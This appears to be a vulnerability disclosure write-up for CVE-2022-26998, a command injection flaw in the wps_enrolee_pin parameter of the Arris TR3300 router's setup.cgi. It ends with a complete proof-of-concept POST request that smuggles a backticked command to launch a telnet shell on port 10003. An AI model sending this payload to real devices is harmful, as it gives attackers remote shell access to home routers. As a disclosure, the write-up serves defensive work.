Headline
CVE-2022-26998: my_vuln/11.md at main · wudipjq/my_vuln
Arris TR3300 v1.0.13 was discovered to contain a command injection vulnerability in the wps setting function via the wps_enrolee_pin parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
ARRIS Vulnerability
Vendor:ARRIS
Product:TR3300
Version:1.0.13(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000OlZ68AAF&c=SURFboard%20Routers)
Type:Remote Command Execution
Author:Jiaqian Peng
Institution:[email protected]
Vulnerability description
We found an Command Injection vulnerability in ARRIS router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.
Remote Command Execution
In setup.cgi
binary:
In the router’s wps setting
function, wps_enrolee_pin
is directly passed by the attacker, so we can control the wps_enrolee_pin
to attack the OS.
First, accept and process the content of the field(wps_sta_pin
), and then call the function nvram_set
to store this input.
In rc_apps
binary:
As you can see here, in sub_4051B4
function, the initial input will be extracted.
Eventually, in sub_402614
function, the initial input will cause command injection.
Supplement
In order to avoid such problems, we believe that the string content should be checked in the input extraction part.
PoC
We set wps_enrolee_pin
as /usr/sbin/utelnetd -l /bin/sh -p 10003
, and the router will excute it,such as:
POST /setup.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 211 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/setup.cgi Upgrade-Insecure-Requests: 1
band_select=1&wls_wps_enabled=&wps_enrolee_pin=`/usr/sbin/utelnetd -l /bin/sh -p 10003`&h_band_select=1&h_wls_wps_enabled=enable&h_wls_wps_5g_enabled=disable&h_wps_action=2&todo=wps_action&this_file=wls_wps.html&next_file=wls_wps.html&message=
Result
Get a shell!